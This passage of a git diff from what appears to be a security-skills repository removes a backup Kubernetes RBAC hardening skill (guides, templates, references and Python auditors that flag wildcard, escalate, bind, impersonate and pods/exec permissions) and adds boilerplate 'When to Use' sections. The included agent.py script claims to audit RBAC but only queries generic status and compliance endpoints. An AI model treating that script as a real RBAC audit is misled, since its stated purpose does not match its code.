display, publicly perform, sublicense, and distribute the - Work and such Derivative Works in Source or Object form. - - 3. Grant of Patent License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - (except as stated in this section) patent license to make, have made, - use, offer to sell, sell, import, and otherwise transfer the Work, - where such license applies only to those patent claims licensable - by such Contributor that are necessarily infringed by their - Contribution(s) alone or by combination of their Contribution(s) - with the Work to which such Contribution(s) was submitted. If You - institute patent litigation against any entity (including a - cross-claim or counterclaim in a lawsuit) alleging that the Work - or a Contribution incorporated within the Work constitutes direct - or contributory patent infringement, then any patent licenses - granted to You under this License for that Work shall terminate - as of the date such litigation is filed. - - 4. Redistribution. You may reproduce and distribute copies of the - Work or Derivative Works thereof in any medium, with or without - modifications, and in Source or Object form, provided that You - meet the following conditions: - - (a) You must give any other recipients of the Work or - Derivative Works a copy of this License; and - - (b) You must cause any modified files to carry prominent notices - stating that You changed the files; and - - (c) You must retain, in the Source form of any Derivative Works - that You distribute, all copyright, patent, trademark, and - attribution notices from the Source form of the Work, - excluding those notices that do not pertain to any part of - the Derivative Works; and - - (d) If the Work includes a "NOTICE" text file as part of its - distribution, then any Derivative Works that You distribute must - include a readable copy of the attribution notices contained - within such NOTICE file, excluding any notices that do not - pertain to any part of the Derivative Works, in at least one - of the following places: within a NOTICE text file distributed - as part of the Derivative Works; within the Source form or - documentation, if provided along with the Derivative Works; or, - within a display generated by the Derivative Works, if and - wherever such third-party notices normally appear. The contents - of the NOTICE file are for informational purposes only and - do not modify the License. You may add Your own attribution - notices within Derivative Works that You distribute, alongside - or as an addendum to the NOTICE text from the Work, provided - that such additional attribution notices cannot be construed - as modifying the License. - - You may add Your own copyright statement to Your modifications and - may provide additional or different license terms and conditions - for use, reproduction, or distribution of Your modifications, or - for any such Derivative Works as a whole, provided Your use, - reproduction, and distribution of the Work otherwise complies with - the conditions stated in this License. - - 5. Submission of Contributions. Unless You explicitly state otherwise, - any Contribution intentionally submitted for inclusion in the Work - by You to the Licensor shall be under the terms and conditions of - this License, without any additional terms or conditions. - Notwithstanding the above, nothing herein shall supersede or modify - the terms of any separate license agreement you may have executed - with Licensor regarding such Contributions. - - 6. Trademarks. This License does not grant permission to use the trade - names, trademarks, service marks, or product names of the Licensor, - except as required for reasonable and customary use in describing the - origin of the Work and reproducing the content of the NOTICE file. - - 7. Disclaimer of Warranty. Unless required by applicable law or - agreed to in writing, Licensor provides the Work (and each - Contributor provides its Contributions) on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or - implied, including, without limitation, any warranties or conditions - of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A - PARTICULAR PURPOSE. You are solely responsible for determining the - appropriateness of using or redistributing the Work and assume any - risks associated with Your exercise of permissions under this License. - - 8. Limitation of Liability. In no event and under no legal theory, - whether in tort (including negligence), contract, or otherwise, - unless required by applicable law (such as deliberate and grossly - negligent acts) or agreed to in writing, shall any Contributor be - liable to You for damages, including any direct, indirect, special, - incidental, or consequential damages of any character arising as a - result of this License or out of the use or inability to use the - Work (including but not limited to damages for loss of goodwill, - work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses), even if such Contributor - has been advised of the possibility of such damages. - - 9. Accepting Warranty or Additional Liability. While redistributing - the Work or Derivative Works thereof, You may choose to offer, - and charge a fee for, acceptance of support, warranty, indemnity, - or other liability obligations and/or rights consistent with this - License. However, in accepting such obligations, You may act only - on Your own behalf and on Your sole responsibility, not on behalf - of any other Contributor, and only if You agree to indemnify, - defend, and hold each Contributor harmless for any liability - incurred by, or claims asserted against, such Contributor by reason - of your accepting any such warranty or additional liability. - - END OF TERMS AND CONDITIONS - - APPENDIX: How to apply the Apache License to your work. - - To apply the Apache License to your work, attach the following - boilerplate notice, with the fields enclosed by brackets "[]" - replaced with your own identifying information. (Don't include - the brackets!) The text should be enclosed in the appropriate - comment syntax for the file format. Please do not remove or change - the license header comment from a contributed file except when - necessary. - - Copyright 2026 mukul975 - - Licensed under the Apache License, Version 2.0 (the "License"); - you may not use this file except in compliance with the License. - You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - - Unless required by applicable law or agreed to in writing, software - distributed under the License is distributed on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - See the License for the specific language governing permissions and - limitations under the License. diff --git a/skills/implementing-rbac-for-kubernetes-cluster.bak/SKILL.es.md b/skills/implementing-rbac-for-kubernetes-cluster.bak/SKILL.es.md deleted file mode 100644 index 0d10b109..00000000 --- a/skills/implementing-rbac-for-kubernetes-cluster.bak/SKILL.es.md +++ /dev/null @@ -1,36 +0,0 @@ ---- -name: implementing-rbac-for-kubernetes-cluster -description: Implement RBAC in Kubernetes with least-privilege roles, service accounts, and audit policies. -domain: cybersecurity -subdomain: container-security -tags: [kubernetes, rbac, access-control, container-security, least-privilege] -version: "1.0" -author: mahipal -license: Apache-2.0 -language: es ---- - -# Implementación de RBAC en Kubernetes - -## Descripción General - -El Control de Acceso Basado en Roles (RBAC) en Kubernetes permite definir permisos granulares para usuarios, grupos y cuentas de servicio, implementando políticas de mínimo privilegio. - -## Prerrequisitos - -- Clúster Kubernetes 1.26+ con RBAC habilitado -- kubectl con permisos de administrador -- Herramientas: `kubectl auth can-i`, `rakkess` - -## Pasos - -1. Auditar permisos existentes con `kubectl get clusterrolebindings` -2. Identificar cuentas con permisos excesivos -3. Crear Roles con mínimo privilegio por carga de trabajo -4. Configurar RoleBindings apropiados -5. Implementar auditoría de accesos -6. Validar con `kubectl auth can-i --list` - -## Resultado Esperado - -Clúster con RBAC de mínimo privilegio, ServiceAccounts seguros y auditoría activa. diff --git a/skills/implementing-rbac-for-kubernetes-cluster.bak/SKILL.md b/skills/implementing-rbac-for-kubernetes-cluster.bak/SKILL.md deleted file mode 100644 index 9917dac6..00000000 --- a/skills/implementing-rbac-for-kubernetes-cluster.bak/SKILL.md +++ /dev/null @@ -1,134 +0,0 @@ ---- -name: implementing-rbac-for-kubernetes-cluster -description: Configure Kubernetes Role-Based Access Control (RBAC) to enforce least-privilege access to cluster resources. This skill covers Role/ClusterRole design, RoleBinding configuration, service account secu -domain: cybersecurity -subdomain: identity-access-management -tags: [iam, identity, access-control, authorization, rbac, kubernetes, k8s] -version: "1.0" -author: mahipal -license: Apache-2.0 ---- -# Implementing RBAC for Kubernetes Cluster - -## Overview -Configure Kubernetes Role-Based Access Control (RBAC) to enforce least-privilege access to cluster resources. This skill covers Role/ClusterRole design, RoleBinding configuration, service account security, namespace isolation, and audit logging for multi-tenant Kubernetes environments. - -## Objectives -- Design RBAC role hierarchy for multi-tenant clusters -- Create granular Roles and ClusterRoles for different personas -- Configure RoleBindings and ClusterRoleBindings with least privilege -- Secure service accounts and limit their default permissions -- Integrate RBAC with external identity providers (OIDC) -- Audit and monitor RBAC usage with Kubernetes audit logs - -## Key Concepts - -### RBAC API Objects -1. **Role**: Namespace-scoped permissions (pods, services, deployments within a namespace) -2. **ClusterRole**: Cluster-wide permissions (nodes, namespaces, PVs, CRDs) -3. **RoleBinding**: Grants Role to users/groups/serviceAccounts in a namespace -4. **ClusterRoleBinding**: Grants ClusterRole cluster-wide - -### Kubernetes RBAC Verbs -- `get`, `list`, `watch`: Read-only operations -- `create`, `update`, `patch`: Write operations -- `delete`, `deletecollection`: Destructive operations -- `impersonate`: Assume identity of another user -- `escalate`: Modify RBAC roles (highly privileged) -- `bind`: Create RoleBindings (highly privileged) - -### Persona-Based Access Model -- **Cluster Admin**: Full cluster management (limit to 2-3 people) -- **Namespace Admin**: Full control within assigned namespace -- **Developer**: Deploy and manage workloads in assigned namespace -- **Viewer**: Read-only access to namespace resources -- **CI/CD Service Account**: Deploy workloads, manage configmaps/secrets - -## Implementation Steps - -### Step 1: Disable Default Permissive Settings -1. Ensure `--authorization-mode=RBAC` is enabled on API server -2. Remove default cluster-admin bindings from non-admin users -3. Disable auto-mounting of service account tokens in pods -4. Restrict access to default service account in each namespace - -### Step 2: Create Custom Roles -```yaml -# Developer Role - namespace scoped -apiVersion: rbac.authorization.k8s.io/v1 -kind: Role -metadata: - namespace: app-team - name: developer -rules: -- apiGroups: ["", "apps", "batch"] - resources: ["pods", "deployments", "services", "configmaps", "jobs"] - verbs: ["get", "list", "watch", "create", "update", "patch", "delete"] -- apiGroups: [""] - resources: ["secrets"] - verbs: ["get", "list"] # read secrets but limit create/update -- apiGroups: [""] - resources: ["pods/log", "pods/exec"] - verbs: ["get", "create"] -``` - -### Step 3: Bind Roles to Users/Groups -```yaml -apiVersion: rbac.authorization.k8s.io/v1 -kind: RoleBinding -metadata: - name: developer-binding - namespace: app-team -subjects: -- kind: Group - name: "dev-team" - apiGroup: rbac.authorization.k8s.io -roleRef: - kind: Role - name: developer - apiGroup: rbac.authorization.k8s.io -``` - -### Step 4: Secure Service Accounts -- Create dedicated service accounts per application -- Disable automountServiceAccountToken for pods that don't need API access -- Use projected service account tokens with audience and expiry -- Bind minimum required permissions to each service account - -### Step 5: OIDC Integration -1. Configure API server with OIDC flags (issuer-url, client-id, username-claim, groups-claim) -2. Map OIDC groups to Kubernetes groups in RoleBindings -3. Use short-lived tokens from OIDC provider -4. Configure kubectl with OIDC authentication plugin - -### Step 6: Audit and Monitoring -- Enable Kubernetes audit logging (audit-policy.yaml) -- Log all RBAC-related events (role creation, binding changes) -- Alert on ClusterRoleBinding creation/modification -- Monitor for privilege escalation attempts -- Regular review of who has cluster-admin access - -## Security Controls -| Control | NIST 800-53 | Description | -|---------|-------------|-------------| -| Access Control | AC-3 | RBAC enforcement | -| Least Privilege | AC-6 | Minimum necessary Kubernetes permissions | -| Account Management | AC-2 | Service account lifecycle | -| Audit | AU-3 | Kubernetes audit logging | -| Separation of Duties | AC-5 | Namespace isolation | - -## Common Pitfalls -- Granting cluster-admin to CI/CD pipelines -- Using wildcard (*) verbs or resources in ClusterRoles -- Not restricting pods/exec which allows container shell access -- Leaving default service account with broad permissions -- Not auditing who can create RoleBindings (privilege escalation vector) - -## Verification -- [ ] All users authenticate via OIDC (no static tokens/certs) -- [ ] No unnecessary ClusterRoleBindings to cluster-admin -- [ ] Developers limited to their assigned namespaces -- [ ] Service accounts use least-privilege roles -- [ ] automountServiceAccountToken disabled by default -- [ ] Audit logging captures RBAC changes -- [ ] `kubectl auth can-i` validates expected permissions per persona diff --git a/skills/implementing-rbac-for-kubernetes-cluster.bak/assets/template.md b/skills/implementing-rbac-for-kubernetes-cluster.bak/assets/template.md deleted file mode 100644 index 014d7087..00000000 --- a/skills/implementing-rbac-for-kubernetes-cluster.bak/assets/template.md +++ /dev/null @@ -1,29 +0,0 @@ -# Kubernetes RBAC Configuration Template - -## Namespace RBAC Matrix -| Namespace | Cluster Admin | Namespace Admin | Developer | Viewer | CI/CD SA | -|-----------|--------------|-----------------|-----------|--------|----------| -| production | 2 users | 2 users | 0 | 5 users | 1 SA | -| staging | 2 users | 3 users | 5 users | 3 users | 1 SA | -| development | 2 users | 5 users | 10 users | 0 | 1 SA | - -## Role Definitions -| Role Name | Scope | Resources | Verbs | Use Case | -|-----------|-------|-----------|-------|----------| -| namespace-admin | Namespace | * | * (within NS) | Full namespace control | -| developer | Namespace | pods, deployments, services, configmaps | get,list,create,update,delete | Workload management | -| viewer | Namespace | pods, deployments, services, configmaps | get, list, watch | Read-only monitoring | -| secret-reader | Namespace | secrets | get, list | Application secret access | -| ci-deployer | Namespace | deployments, services, configmaps | get,list,create,update,patch | CI/CD pipeline | - -## Service Account Inventory -| Service Account | Namespace | Bound Role | automountToken | Purpose | -|-----------------|-----------|------------|----------------|---------| -| | | | | | - -## Audit Policy Configuration -- [ ] Log all create/update/delete on RBAC resources (RequestResponse level) -- [ ] Log all pod exec/attach events -- [ ] Log all secret access events -- [ ] Forward audit logs to SIEM -- [ ] Alert on ClusterRoleBinding changes diff --git a/skills/implementing-rbac-for-kubernetes-cluster.bak/references/api-reference.md b/skills/implementing-rbac-for-kubernetes-cluster.bak/references/api-reference.md deleted file mode 100644 index f1134b93..00000000 --- a/skills/implementing-rbac-for-kubernetes-cluster.bak/references/api-reference.md +++ /dev/null @@ -1,103 +0,0 @@ -# API Reference: Kubernetes RBAC Configuration Audit - -## Libraries Used - -| Library | Purpose | -|---------|---------| -| `kubernetes` | Official Kubernetes Python client for RBAC API | -| `json` | Parse and format RBAC audit results | - -## Installation - -```bash -pip install kubernetes -``` - -## Authentication - -```python -from kubernetes import client, config - -config.load_kube_config() -rbac_api = client.RbacAuthorizationV1Api() -core_api = client.CoreV1Api() -``` - -## RBAC API Methods - -| Method | Description | -|--------|-------------| -| `list_cluster_role()` | List all ClusterRoles | -| `list_cluster_role_binding()` | List all ClusterRoleBindings | -| `list_namespaced_role(namespace)` | List Roles in a namespace | -| `list_namespaced_role_binding(namespace)` | List RoleBindings in namespace | - -## Core Operations - -### List All ClusterRoleBindings -```python -def list_all_bindings(): - bindings = rbac_api.list_cluster_role_binding() - for b in bindings.items: - subjects = [ - f"{s.kind}/{s.name}" for s in (b.subjects or []) - ] - print(f"{b.metadata.name} -> {b.role_ref.name}: {subjects}") -``` - -### Audit Overprivileged Roles -```python -def audit_overprivileged(): - roles = rbac_api.list_cluster_role() - findings = [] - for role in roles.items: - for rule in (role.rules or []): - if rule.verbs and "*" in rule.verbs: - findings.append({ - "role": role.metadata.name, - "issue": "Wildcard verbs (*) — overly permissive", - "severity": "high", - }) - if rule.resources and "*" in rule.resources: - findings.append({ - "role": role.metadata.name, - "issue": "Wildcard resources (*)", - "severity": "high", - }) - return findings -``` - -### Find Default Service Account Usage -```python -def find_default_sa_usage(): - findings = [] - namespaces = core_api.list_namespace() - for ns in namespaces.items: - pods = core_api.list_namespaced_pod(ns.metadata.name) - for pod in pods.items: - sa = pod.spec.service_account_name - if sa == "default": - findings.append({ - "namespace": ns.metadata.name, - "pod": pod.metadata.name, - "issue": "Using default service account", - "severity": "medium", - }) - return findings -``` - -## Output Format - -```json -{ - "cluster_roles": 45, - "cluster_role_bindings": 38, - "findings": [ - { - "role": "custom-admin", - "issue": "Wildcard verbs (*) — overly permissive", - "severity": "high" - } - ] -} -``` diff --git a/skills/implementing-rbac-for-kubernetes-cluster.bak/references/standards.md b/skills/implementing-rbac-for-kubernetes-cluster.bak/references/standards.md deleted file mode 100644 index 6d570231..00000000 --- a/skills/implementing-rbac-for-kubernetes-cluster.bak/references/standards.md +++ /dev/null @@ -1,21 +0,0 @@ -# Standards and References - Kubernetes RBAC - -## Kubernetes Documentation -- **RBAC Authorization**: https://kubernetes.io/docs/reference/access-authn-authz/rbac/ -- **Authenticating**: https://kubernetes.io/docs/reference/access-authn-authz/authentication/ -- **Audit Logging**: https://kubernetes.io/docs/tasks/debug/debug-cluster/audit/ - -## Security Benchmarks -- **CIS Kubernetes Benchmark**: Section 5.1 - RBAC and Service Accounts -- **NSA/CISA Kubernetes Hardening Guide**: https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF - -## NIST Standards -- **NIST SP 800-53 Rev 5**: AC-2, AC-3, AC-5, AC-6, AU-3, AU-12 -- **NIST SP 800-190**: Application Container Security Guide - -## Tools -- **kubectl auth can-i**: Test RBAC permissions -- **rakkess**: Review access matrix for Kubernetes resources -- **rbac-lookup**: Find roles and bindings for users/groups -- **KubiScan**: Scan for risky RBAC configurations -- **kube-bench**: CIS benchmark checker for Kubernetes diff --git a/skills/implementing-rbac-for-kubernetes-cluster.bak/references/workflows.md b/skills/implementing-rbac-for-kubernetes-cluster.bak/references/workflows.md deleted file mode 100644 index 3d2c7db2..00000000 --- a/skills/implementing-rbac-for-kubernetes-cluster.bak/references/workflows.md +++ /dev/null @@ -1,36 +0,0 @@ -# Kubernetes RBAC Workflows - -## Workflow 1: New Team Onboarding -1. Create dedicated namespace for the team -2. Create ResourceQuota and LimitRange for the namespace -3. Create NetworkPolicy to isolate namespace traffic -4. Design Roles based on team member personas (admin, developer, viewer) -5. Create RoleBindings mapped to OIDC groups -6. Create dedicated service accounts for CI/CD -7. Test access with `kubectl auth can-i` for each persona -8. Document namespace ownership and contact - -## Workflow 2: RBAC Audit -1. List all ClusterRoleBindings: `kubectl get clusterrolebindings -o wide` -2. Identify bindings to cluster-admin role -3. Review each cluster-admin binding for necessity -4. Check for wildcard permissions in custom roles -5. Verify service accounts have minimum permissions -6. Test pod escape scenarios (exec, privileged containers) -7. Generate compliance report with findings - -## Workflow 3: Privilege Escalation Prevention -1. Restrict who can create/modify Roles and RoleBindings -2. Prevent escalate verb usage (only cluster-admin should have it) -3. Block bind verb for non-admin users -4. Prevent impersonate verb usage -5. Use admission controllers (OPA Gatekeeper) for policy enforcement -6. Monitor audit logs for RBAC modification attempts - -## Workflow 4: Service Account Hardening -1. List all service accounts: `kubectl get sa --all-namespaces` -2. Identify service accounts with ClusterRole bindings -3. Remove unnecessary ClusterRoleBindings -4. Set automountServiceAccountToken: false in namespace default SA -5. Create per-application service accounts with minimum roles -6. Use projected service account tokens with short expiry diff --git a/skills/implementing-rbac-for-kubernetes-cluster.bak/scripts/agent.py b/skills/implementing-rbac-for-kubernetes-cluster.bak/scripts/agent.py deleted file mode 100644 index 0aab8803..00000000 --- a/skills/implementing-rbac-for-kubernetes-cluster.bak/scripts/agent.py +++ /dev/null @@ -1,61 +0,0 @@ -#!/usr/bin/env python3 -"""Kubernetes RBAC configuration audit.""" -import argparse, json -from datetime import datetime, timezone -try: - import requests -except ImportError: - requests = None - -def audit_config(target, token): - findings = [] - if not requests: return [{"error": "requests required"}] - headers = {"Authorization": f"Bearer {token}"} - try: - resp = requests.get(f"{target}/api/v1/status", headers=headers, timeout=10) - if resp.status_code == 200: - data = resp.json() - if not data.get("enabled", True): - findings.append({"check": "Service Status", "status": "DISABLED", "severity": "CRITICAL"}) - elif resp.status_code == 401: - findings.append({"check": "Authentication", "status": "UNAUTHORIZED", "severity": "HIGH"}) - except requests.RequestException as e: - findings.append({"error": str(e)}) - return findings - -def check_compliance(target, token): - findings = [] - if not requests: return [] - headers = {"Authorization": f"Bearer {token}"} - try: - resp = requests.get(f"{target}/api/v1/compliance", headers=headers, timeout=10) - if resp.status_code == 200: - for item in resp.json().get("checks", []): - if item.get("status") != "PASS": - findings.append({"check": item.get("name"), "status": item.get("status"), - "severity": item.get("severity", "MEDIUM")}) - except requests.RequestException: - pass - return findings - -def main(): - p = argparse.ArgumentParser(description="Kubernetes RBAC configuration audit") - p.add_argument("--target", required=True, help="Target URL") - p.add_argument("--token", required=True, help="API token") - p.add_argument("--output", "-o", help="Output JSON report") - p.add_argument("--verbose", "-v", action="store_true") - a = p.parse_args() - print("[*] Kubernetes RBAC configuration audit") - report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": []} - report["findings"].extend(audit_config(a.target, a.token)) - report["findings"].extend(check_compliance(a.target, a.token)) - high = sum(1 for f in report["findings"] if f.get("severity") in ("HIGH", "CRITICAL")) - report["risk_level"] = "HIGH" if high else "MEDIUM" if report["findings"] else "LOW" - print(f"[*] {len(report['findings'])} findings, risk: {report['risk_level']}") - if a.output: - with open(a.output, "w") as f: json.dump(report, f, indent=2) - else: - print(json.dumps(report, indent=2)) - -if __name__ == "__main__": - main() diff --git a/skills/implementing-rbac-for-kubernetes-cluster.bak/scripts/process.py b/skills/implementing-rbac-for-kubernetes-cluster.bak/scripts/process.py deleted file mode 100644 index 733f6424..00000000 --- a/skills/implementing-rbac-for-kubernetes-cluster.bak/scripts/process.py +++ /dev/null @@ -1,285 +0,0 @@ -#!/usr/bin/env python3 -""" -Kubernetes RBAC Auditor - -Analyzes Kubernetes RBAC configurations to identify overly permissive -roles, dangerous permissions, unnecessary ClusterRoleBindings, and -service account security issues. -""" - -import json -import datetime -from typing import Dict, List, Set -from dataclasses import dataclass, field - - -@dataclass -class K8sRole: - """Kubernetes Role or ClusterRole.""" - name: str - namespace: str # empty for ClusterRole - is_cluster_role: bool - rules: List[Dict] = field(default_factory=list) - # Each rule: {"apiGroups": [...], "resources": [...], "verbs": [...]} - - -@dataclass -class K8sBinding: - """Kubernetes RoleBinding or ClusterRoleBinding.""" - name: str - namespace: str - is_cluster_binding: bool - role_ref: str - role_ref_kind: str # Role or ClusterRole - subjects: List[Dict] = field(default_factory=list) - # Each subject: {"kind": "User/Group/ServiceAccount", "name": "...", "namespace": "..."} - - -@dataclass -class RBACFinding: - severity: str - category: str - title: str - description: str - recommendation: str = "" - affected_resources: List[str] = field(default_factory=list) - - -class KubernetesRBACAuditor: - """Audits Kubernetes RBAC for security issues.""" - - DANGEROUS_VERBS = {"*", "escalate", "bind", "impersonate"} - SENSITIVE_RESOURCES = {"secrets", "roles", "clusterroles", "rolebindings", - "clusterrolebindings", "nodes", "persistentvolumes"} - EXEC_RESOURCES = {"pods/exec", "pods/attach"} - - def __init__(self): - self.roles: List[K8sRole] = [] - self.bindings: List[K8sBinding] = [] - self.findings: List[RBACFinding] = [] - - def load_roles(self, roles: List[Dict]): - for r in roles: - self.roles.append(K8sRole(**r)) - - def load_bindings(self, bindings: List[Dict]): - for b in bindings: - self.bindings.append(K8sBinding(**b)) - - def audit_all(self) -> List[RBACFinding]: - self.findings = [] - self._audit_wildcard_permissions() - self._audit_dangerous_verbs() - self._audit_cluster_admin_bindings() - self._audit_service_account_bindings() - self._audit_exec_permissions() - self._audit_secret_access() - self._audit_rbac_modification_permissions() - return self.findings - - def _audit_wildcard_permissions(self): - for role in self.roles: - for rule in role.rules: - if "*" in rule.get("resources", []) or "*" in rule.get("verbs", []): - scope = "ClusterRole" if role.is_cluster_role else f"Role in {role.namespace}" - self.findings.append(RBACFinding( - severity="critical", - category="Wildcard Permissions", - title=f"Wildcard permissions in {scope} '{role.name}'", - description=f"Resources: {rule.get('resources')}, Verbs: {rule.get('verbs')}. " - "Wildcard grants excessive access violating least privilege.", - recommendation="Replace wildcards with explicit resource and verb lists.", - affected_resources=[role.name] - )) - - def _audit_dangerous_verbs(self): - for role in self.roles: - for rule in role.rules: - dangerous = set(rule.get("verbs", [])) & self.DANGEROUS_VERBS - if dangerous and "*" not in dangerous: # wildcard already caught - self.findings.append(RBACFinding( - severity="critical", - category="Dangerous Verbs", - title=f"Dangerous verbs in '{role.name}': {', '.join(dangerous)}", - description="escalate/bind allow privilege escalation. " - "impersonate allows identity spoofing.", - recommendation="Remove dangerous verbs. Only cluster-admin should have these.", - affected_resources=[role.name] - )) - - def _audit_cluster_admin_bindings(self): - cluster_admin_bindings = [ - b for b in self.bindings - if b.role_ref == "cluster-admin" and b.is_cluster_binding - ] - for binding in cluster_admin_bindings: - for subject in binding.subjects: - if subject.get("kind") == "ServiceAccount": - self.findings.append(RBACFinding( - severity="critical", - category="Cluster Admin", - title=f"ServiceAccount bound to cluster-admin: {subject.get('name')}", - description=f"Service account '{subject.get('name')}' in namespace " - f"'{subject.get('namespace', 'default')}' has full cluster admin access.", - recommendation="Create a dedicated ClusterRole with minimum required permissions.", - affected_resources=[binding.name] - )) - elif subject.get("kind") == "Group" and subject.get("name") not in ( - "system:masters", - ): - self.findings.append(RBACFinding( - severity="high", - category="Cluster Admin", - title=f"Group bound to cluster-admin: {subject.get('name')}", - description=f"All members of group '{subject.get('name')}' have full cluster admin.", - recommendation="Review group membership. Use namespace-scoped roles instead.", - affected_resources=[binding.name] - )) - - def _audit_service_account_bindings(self): - default_sa_bindings = [] - for binding in self.bindings: - for subject in binding.subjects: - if (subject.get("kind") == "ServiceAccount" and - subject.get("name") == "default"): - default_sa_bindings.append(binding) - - if default_sa_bindings: - self.findings.append(RBACFinding( - severity="high", - category="Service Account", - title=f"Default service account has {len(default_sa_bindings)} custom bindings", - description="Default service account should not have additional permissions. " - "All pods without explicit SA use the default SA.", - recommendation="Create dedicated service accounts per application. " - "Remove bindings from default SA.", - affected_resources=[b.name for b in default_sa_bindings] - )) - - def _audit_exec_permissions(self): - for role in self.roles: - for rule in role.rules: - resources = set(rule.get("resources", [])) - exec_resources = resources & self.EXEC_RESOURCES - if exec_resources: - self.findings.append(RBACFinding( - severity="high", - category="Pod Exec", - title=f"Pod exec/attach permission in '{role.name}'", - description="pods/exec allows running commands inside containers. " - "This can be used for lateral movement.", - recommendation="Restrict exec access to debugging roles. " - "Monitor exec usage in audit logs.", - affected_resources=[role.name] - )) - - def _audit_secret_access(self): - for role in self.roles: - for rule in role.rules: - resources = set(rule.get("resources", [])) - verbs = set(rule.get("verbs", [])) - if "secrets" in resources: - write_verbs = verbs & {"create", "update", "patch", "delete", "*"} - if write_verbs: - self.findings.append(RBACFinding( - severity="high", - category="Secret Access", - title=f"Secret write access in '{role.name}'", - description=f"Write verbs on secrets: {', '.join(write_verbs)}. " - "This allows creating/modifying secrets.", - recommendation="Limit secret write access to operators and CI/CD only.", - affected_resources=[role.name] - )) - - def _audit_rbac_modification_permissions(self): - rbac_resources = {"roles", "clusterroles", "rolebindings", "clusterrolebindings"} - for role in self.roles: - if role.name in ("cluster-admin", "admin"): - continue # Skip built-in roles - for rule in role.rules: - resources = set(rule.get("resources", [])) - if resources & rbac_resources: - verbs = set(rule.get("verbs", [])) - write_verbs = verbs & {"create", "update", "patch", "delete", "*"} - if write_verbs: - self.findings.append(RBACFinding( - severity="critical", - category="RBAC Modification", - title=f"RBAC modification permissions in '{role.name}'", - description=f"Can modify RBAC objects: {resources & rbac_resources}. " - "This enables privilege escalation.", - recommendation="Remove RBAC modification permissions from non-admin roles.", - affected_resources=[role.name] - )) - - def generate_report(self) -> str: - if not self.findings: - self.audit_all() - - lines = [ - "=" * 70, - "KUBERNETES RBAC AUDIT REPORT", - "=" * 70, - f"Report Date: {datetime.datetime.now().isoformat()}", - f"Roles/ClusterRoles Audited: {len(self.roles)}", - f"Bindings Audited: {len(self.bindings)}", - f"Findings: {len(self.findings)}", - "-" * 70, "" - ] - - severity_order = {"critical": 0, "high": 1, "medium": 2, "low": 3} - for f in sorted(self.findings, key=lambda x: severity_order.get(x.severity, 5)): - lines.append(f"[{f.severity.upper()}] {f.title}") - lines.append(f" Category: {f.category}") - lines.append(f" {f.description}") - if f.recommendation: - lines.append(f" Fix: {f.recommendation}") - if f.affected_resources: - lines.append(f" Affected: {', '.join(f.affected_resources)}") - lines.append("") - - critical = sum(1 for f in self.findings if f.severity == "critical") - lines.append("=" * 70) - lines.append(f"OVERALL: {'FAIL' if critical else 'PASS'}") - lines.append("=" * 70) - return "\n".join(lines) - - -def main(): - auditor = KubernetesRBACAuditor() - - auditor.load_roles([ - {"name": "developer", "namespace": "app-team", "is_cluster_role": False, - "rules": [ - {"apiGroups": ["", "apps"], "resources": ["pods", "deployments", "services"], "verbs": ["get", "list", "create", "update", "delete"]}, - {"apiGroups": [""], "resources": ["secrets"], "verbs": ["get", "list"]}, - {"apiGroups": [""], "resources": ["pods/exec"], "verbs": ["create"]} - ]}, - {"name": "ci-deployer", "namespace": "", "is_cluster_role": True, - "rules": [ - {"apiGroups": ["*"], "resources": ["*"], "verbs": ["*"]} - ]}, - {"name": "custom-admin", "namespace": "production", "is_cluster_role": False, - "rules": [ - {"apiGroups": ["rbac.authorization.k8s.io"], "resources": ["roles", "rolebindings"], "verbs": ["create", "update", "delete"]}, - {"apiGroups": [""], "resources": ["secrets"], "verbs": ["create", "update", "delete"]} - ]}, - ]) - - auditor.load_bindings([ - {"name": "ci-deployer-binding", "namespace": "", "is_cluster_binding": True, - "role_ref": "cluster-admin", "role_ref_kind": "ClusterRole", - "subjects": [{"kind": "ServiceAccount", "name": "ci-deployer", "namespace": "ci-cd"}]}, - {"name": "dev-binding", "namespace": "app-team", "is_cluster_binding": False, - "role_ref": "developer", "role_ref_kind": "Role", - "subjects": [{"kind": "Group", "name": "dev-team"}]}, - {"name": "default-elevated", "namespace": "app-team", "is_cluster_binding": False, - "role_ref": "developer", "role_ref_kind": "Role", - "subjects": [{"kind": "ServiceAccount", "name": "default", "namespace": "app-team"}]}, - ]) - - print(auditor.generate_report()) - - -if __name__ == "__main__": - main() diff --git a/skills/implementing-rbac-hardening-for-kubernetes/SKILL.md b/skills/implementing-rbac-hardening-for-kubernetes/SKILL.md index 71190b03..64be4ba4 100644 --- a/skills/implementing-rbac-hardening-for-kubernetes/SKILL.md +++ b/skills/implementing-rbac-hardening-for-kubernetes/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 Kubernetes RBAC regulates access to cluster resources based on roles assigned to users, groups, and service accounts. Default configurations often grant excessive permissions, and without active hardening, RBAC becomes a primary attack vector for privilege escalation, lateral movement, and data exfiltration. Hardening requires implementing least-privilege principles, eliminating unnecessary ClusterRole bindings, separating service accounts, integrating external identity providers, and continuous auditing. + +## When to Use + +- When deploying or configuring implementing rbac hardening for kubernetes capabilities in your environment +- When establishing security controls aligned to compliance requirements +- When building or improving security architecture for this domain +- When conducting security assessments that require this implementation + ## Prerequisites - Kubernetes cluster v1.24+ with RBAC enabled (default since v1.6) diff --git a/skills/implementing-rsa-key-pair-management/SKILL.md b/skills/implementing-rsa-key-pair-management/SKILL.md index a823ff67..550c60ef 100644 --- a/skills/implementing-rsa-key-pair-management/SKILL.md +++ b/skills/implementing-rsa-key-pair-management/SKILL.md @@ -14,6 +14,21 @@ license: Apache-2.0 RSA (Rivest-Shamir-Adleman) is the most widely deployed asymmetric cryptographic algorithm, used for digital signatures, key exchange, and encryption. This skill covers generating, storing, rotating, and managing RSA key pairs following NIST SP 800-57 key management guidelines, including key serialization formats (PEM, DER, PKCS#8), passphrase protection, and key strength validation. + +## When to Use + +- When deploying or configuring implementing rsa key pair management capabilities in your environment +- When establishing security controls aligned to compliance requirements +- When building or improving security architecture for this domain +- When 